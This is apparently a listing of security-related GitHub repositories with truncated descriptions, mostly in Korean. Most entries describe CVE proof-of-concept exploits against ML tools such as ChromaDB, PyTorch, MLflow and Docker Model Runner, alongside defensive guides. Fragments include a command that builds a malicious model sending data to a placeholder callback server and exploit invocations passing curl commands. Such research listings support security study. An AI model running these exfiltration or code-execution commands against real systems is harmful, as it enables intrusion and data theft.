Project-CVE-2026-45833

Project-CVE-2026-45833 CVE-2026-45833 ChromaDB 사용에 따른 위험은 본인이 감수하세요 일부 코드는 수정이 필요합니다. 1. 악성 모델 생성 python3 -c " from main import MaliciousModelGenerator gen = MaliciousModelGenerator gen.generatemodel'exfil-model', 'exfilenv', 'exfilurl': 'http://your-server.com/callback' " 2. HuggingFace에 업로드 수동...

CVE-2026-5817-PoC

CVE-2026-5817: Docker Model Runner 컨테이너-호스트 RCE / 탈출 Docker Desktop4.40.04.67.x 호스트의 모든 컨테이너는 두 번의 HTTP 요청만으로 호스트에서 코드를 실행할 수 있습니다. 소켓 마운트도, --privileged도, 추가 capability도 필요 없습니다. 동작 방식 모든 컨테이너는 인증 없이 model-runner.docker.internal의 Model Runner에 도달할 수 있습니다. Model Runner는 사용자가 지정한 OCI 레지스트리에서 모델을 가...

GhidraMCP

ghidraMCP ghidraMCP는 LLM이 애플리케이션을 자율적으로 리버스 엔지니어링할 수 있게 해주는 Model Context Protocol 서버입니다. 핵심 Ghidra 기능의 다양한 도구를 MCP 클라이언트에 노출합니다. https://github.com/user-attachments/assets/36080514-f227-44bd-af84-78e29ee1d7f9 Features MCP 서버 + Ghidra 플러그인 Ghidra에서 바이너리 디컴파일 및 분석 메서드와 데이터 자동 이름 변경 메서드, 클래스, 임포트,...

CVE-2025-32434-exploit

Overview This exploit demonstrates a critical remote code execution vulnerability CVE-2025-32434 in PyTorch versions /tmp/whoami" Test the exploit loads the model to verify RCE python3 exploit.py -c "id" -t Advanced exploit variant with alternative bypass python3 exploit.py --advanced -c "curl -s...

macOS-Security-and-Privacy-Guide

이 가이드는 Apple silicon Mac에서 macOS의 보안과 개인정보 보호를 향상시키기 위한 기법 모음입니다. 조직에서 흔히 사용하는 보안 관행을 원하는 숙련된 사용자를 대상으로 하지만, 개인정보 보호와 보안에 관심이 있는 초보 사용자에게도 적합합니다. 조직에서 관리하는 Mac의 경우, 미국 국립표준기술연구소에서 유지 관리하는 macOS Security Compliance Project를 참조하십시오. 이 가이드는 어떠한 종류의 보증도 없이 "있는 그대로" 제공됩니다. 이 가이드를 따름으로써 발생하는 모든 결과에 대한...

sec_review_cve-2024-3094

CVE-2024-3094 오픈 소스 취약점에 대한 전체 보안 검토가 수행되었습니다. 획득한 데이터를 기반으로 다음이 준비되었습니다: 1. 'ThreatModel + SecurityReview' 보고서 – 위협, 공격 경로, 위험 평가 및 공격 표면 축소를 위한 권장 사항에 대한 상세 설명. 2. 검증 테스트 패키지 – 패치 적용 후 취약점 존재/부재를 확인하는 자동화된 테스트 세트. 보고서는 ReportFinal.pdf 파일로 제공됩니다. 출처: 취약한 버전의...

threat-model-cookbook

OWASP 위협 모델 쿡북 프로젝트 이 프로젝트는 위협 모델 예제를 만들고 게시하는 것에 관한 것입니다. 예제는 코드, 그래픽 또는 텍스트 표현의 형태일 수 있습니다. 모델은 다양한 기술, 방법론 및 기법을 사용합니다. 이러한 모델에서 배우거나, 자신만의 모델을 시작하기 위한 기반으로 사용하거나, 일부 모델에 기여하고 확장할 수 있습니다. 이를 통해 이 프로젝트는 협업형 위협 모델 쿡북이 됩니다. https://owasp.org/www-project-threat-model-cookbook/...

authproof-sdk

AuthProof SDK AuthProof is a cryptographic delegation protocol for agentic AI. Most protocols in this space enforce against an operator-defined policy -- giving the operator authority to expand or reinterpret the user's original intent after the fact. AuthProof is built around a different trust...

detection-defense-library

Detection Defense Library One defense-engineering library, consolidated. Attack classes, the patterns that detect them, the committed Sigma rules, and the Windows trust-boundary model, all in a single repo. This repo folds in five former sibling repositories: Former repo| Folded into| What it hol...

CVE-2026-47117-openmed-rce

CVE-2026-47117: OpenMed PII 모델 로딩을 통한 인증되지 않은 원격 코드 실행 심각도: 치명적Critical, CVSS 4.0 9.3 , CVSS 3.1 9.8 CNA인 VulnCheck가 배정 벡터 v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 벡터 v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 영향 범위: OpenMed 1.5.2 수정 버전: 1.5.2 CWE: CWE-94 코드 생...

Tesla-CVE-2020-10558

Tesla Model 3 Vulnerability | CVE-2020-10558...

cve-2025-2082

How to Hack a Tesla? — Interactive Scenario Application This project is an interactive cybersecurity scenario based on a real vulnerability discovered by the security firm Synacktiv TPMS → VCSEC → CAN Bus chain. The scenario aims to teach how a Tesla Model 3 could be compromised through a...

CVE-2024-41312.

CVE-2024-41312. InstantCMS - Stored Cross Site Scripting XSS Affected Version: InstantCMS 2.16.3 Steps to Reproduce: 1. Log in to https://demo.instantcms.io as an demo user. 2. Visit https://demo.instantcms.io/photos/upload. 3. Upload the image with the embedded payload test in the Camera Model...

MLflow-Vuln

Vuln replication-mlflow ver 2.1.1-prep by Saima.pdf MLflow-취약점 MLflow LFI/RFI 취약점 -CVE-2023-1177 - 재현됨 ML 시스템에서 가장 널리 사용되는 도구 중 하나는 엔드투엔드 머신러닝 수명주기를 관리하는 데 사용되는 MLflow입니다. 저는 MLflow의 보안을 테스트했고, 전체 시스템 또는 클라우드 공급자 장악으로 이어질 수 있는 로컬 파일 포함LFI/원격 파일 포함RFI 결합 취약점을 재현했습니다. 2.2.1 이전 버전의 MLflow는 모델 버전 및 등...

CVE-2024-28397-Js2Py-RCE

CVE-2024-28397-Js2Py-RCE 설명 이 저장소는 Python용 Js2Py JavaScript 인터프리터의 샌드박스 탈출 취약점인 CVE-2024-28397에 대한 Python 기반 PoCProof of Concept를 포함합니다. 대상 애플리케이션이 Js2Py를 통해 신뢰할 수 없는 JS 코드를 평가할 때, 공격자는 샌드박스를 벗어나 임의의 Python 코드를 실행할 수 있습니다. 이를 이용해 취약한 시스템에서 원격 코드 실행RCE 및 리버스 셸을 획득할 수 있습니다. 본 익스플로잇은 Marven11의...

CVE-2024-37054-PoC

MLflow 안전하지 않은 역직렬화 CVE-2024-37054 개요 이 저장소는 MLflow PyFunc 모델 처리에 영향을 미치는 안전하지 않은 역직렬화 문제인 CVE-2024-37054 에 대한 연구를 문서화합니다. 영향을 받는 MLflow 버전에서는 신뢰할 수 없는 PyFunc 모델을 로드할 때 Python 역직렬화 로직이 공격자가 제어하는 동작을 포함하는 직렬화된 객체를 처리할 수 있습니다. 신뢰할 수 없는 아티팩트를 로드하면 모델 로딩 작업을 수행하는 사용자 또는 서비스의 권한으로 코드가 실행될 수 있습니다. 공개...

duo-agentflow-auditor

Duo AgentFlow Auditor AI Code Security — catching what SAST misses in AI-generated code Built on the GitLab Duo Agent Platform 40-62% of AI-generated code contains security vulnerabilities. Traditional SAST catches CVEs. We catch what SAST misses — prompt injection, LLM output execution, unsafe M...

CVE-2026-77991

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · CVE-2026-77991 CVE-2026-77991 JEM - Joomla Event Manager 5.0.0 - joomlaeventmanager.net I am @abraxasnull. Loopback lab. The client is CVE-2026-77991-Abraxas-Labs.py. The advisory named a model. Privileged RCE:...

[SECURITY] Fedora 45 Update: kitinerary-26.08.1-2.fc45

A library containing itinerary data model and itinerary extraction code...

gha-lab-61c59f4acb

자동화된 연구 산출물 — 업스트림 프로젝트가 아님. 이 저장소는 Université Laval의 석사 논문에서 게시된 GitHub Actions 워크플로우 취약점 재현을 위해 자동화된 하네스가 구축한 일회용 랩입니다. 이는 커밋 aaa7d17ef12d898d9e944eefd915cc6e2e44bcbd 2026-03-16 시점의 labring/FastGPT에 대한 축어적 스냅샷이며, 해당 프로젝트의 자체 라이선스에 따라 재배포되며, 해당 라이선스 파일은 이 스냅샷에 변경 없이 포함되어 있습니다. 업스트림 프로젝트는 관여하지 않으...